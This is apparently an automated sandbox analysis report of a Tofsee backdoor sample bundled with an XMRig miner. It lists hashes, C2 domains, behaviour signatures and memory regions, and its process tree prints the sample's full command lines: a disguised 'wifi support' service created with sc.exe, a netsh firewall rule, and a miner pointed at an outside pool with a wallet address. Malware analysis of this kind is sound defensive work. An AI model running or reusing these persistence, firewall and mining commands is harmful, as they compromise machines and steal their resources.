Analysis

  • max time kernel
    152s
  • max time network
    161s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 07:28

General

  • Target

    file.exe

  • Size

    272KB

  • MD5

    9f0a410ccb387c123fd728599c357019

  • SHA1

    c33416439ef92df3607a0cddee7b7180a90d38d8

  • SHA256

    0e9c3ef019f7a75caaa05d3aa393475dc838172449260353e2f811b1da2b736e

  • SHA512

    4ccd16a4412cb5f29f4784d8ff58e25376788008d4643473812de9c75a6430e830e2261f9f3a0fcf2011aaf544cf1a8189a1a470419a1024565067523e241db5

  • SSDEEP

    3072:LVXuSjyqLgxnhwnBLF+ljgfLz86KsMAnRQ/HWhT5tFtFnU:tuS2qLsnhwBLF+lsXfKsMA+/Ho

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3048
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eevrohpa\
      2⤵
        PID:2708
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ixpwbzew.exe" C:\Windows\SysWOW64\eevrohpa\
        2⤵
          PID:2064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eevrohpa binPath= "C:\Windows\SysWOW64\eevrohpa\ixpwbzew.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2684
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description eevrohpa "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start eevrohpa
          2⤵
          • Launches sc.exe
          PID:2496
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1796
      • C:\Windows\SysWOW64\eevrohpa\ixpwbzew.exe
        C:\Windows\SysWOW64\eevrohpa\ixpwbzew.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2624
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2484
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2784

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\ixpwbzew.exe

              Filesize

              10.5MB

              MD5

              7f62651ae29c527f50cc0aeef73f62a1

              SHA1

              c4544316b33987e533671dbb2cb7416a6b1cd203

              SHA256

              06a1ad90b3ffc04f7c6cf229c4e9a802359e1b2d55e57fcc15283676e666c2ea

              SHA512

              5f8a7a830d13e54f80b3034e67068ffd0c63aeb4278f3ea0962ce1d595554577db722e491e90f1bde21b27a51cff50874aa4f80580d6521bd21aca89c98f863d

            • C:\Windows\SysWOW64\eevrohpa\ixpwbzew.exe

              Filesize

              10.5MB

              MD5

              7f62651ae29c527f50cc0aeef73f62a1

              SHA1

              c4544316b33987e533671dbb2cb7416a6b1cd203

              SHA256

              06a1ad90b3ffc04f7c6cf229c4e9a802359e1b2d55e57fcc15283676e666c2ea

              SHA512

              5f8a7a830d13e54f80b3034e67068ffd0c63aeb4278f3ea0962ce1d595554577db722e491e90f1bde21b27a51cff50874aa4f80580d6521bd21aca89c98f863d

            • memory/2484-37-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-54-0x00000000005A0000-0x00000000005A5000-memory.dmp

              Filesize

              20KB

            • memory/2484-40-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-59-0x00000000005B0000-0x00000000005B7000-memory.dmp

              Filesize

              28KB

            • memory/2484-58-0x0000000005700000-0x0000000005B0B000-memory.dmp

              Filesize

              4.0MB

            • memory/2484-55-0x0000000005700000-0x0000000005B0B000-memory.dmp

              Filesize

              4.0MB

            • memory/2484-41-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-51-0x00000000005A0000-0x00000000005A5000-memory.dmp

              Filesize

              20KB

            • memory/2484-14-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2484-16-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2484-49-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-13-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2484-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2484-21-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2484-23-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2484-24-0x0000000001A80000-0x0000000001C8F000-memory.dmp

              Filesize

              2.1MB

            • memory/2484-27-0x0000000001A80000-0x0000000001C8F000-memory.dmp

              Filesize

              2.1MB

            • memory/2484-28-0x0000000000580000-0x0000000000586000-memory.dmp

              Filesize

              24KB

            • memory/2484-31-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-34-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-35-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-36-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-50-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-39-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-47-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-48-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-38-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-42-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-44-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-43-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-45-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2484-46-0x0000000000590000-0x00000000005A0000-memory.dmp

              Filesize

              64KB

            • memory/2624-17-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/2624-11-0x0000000000680000-0x0000000000780000-memory.dmp

              Filesize

              1024KB

            • memory/2624-12-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/2784-75-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/2784-65-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/2784-78-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/2784-76-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/2784-63-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/2784-77-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/2784-74-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/2784-73-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/3048-1-0x00000000006C0000-0x00000000007C0000-memory.dmp

              Filesize

              1024KB

            • memory/3048-8-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/3048-7-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB

            • memory/3048-6-0x00000000006C0000-0x00000000007C0000-memory.dmp

              Filesize

              1024KB

            • memory/3048-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/3048-3-0x0000000000400000-0x00000000004F7000-memory.dmp

              Filesize

              988KB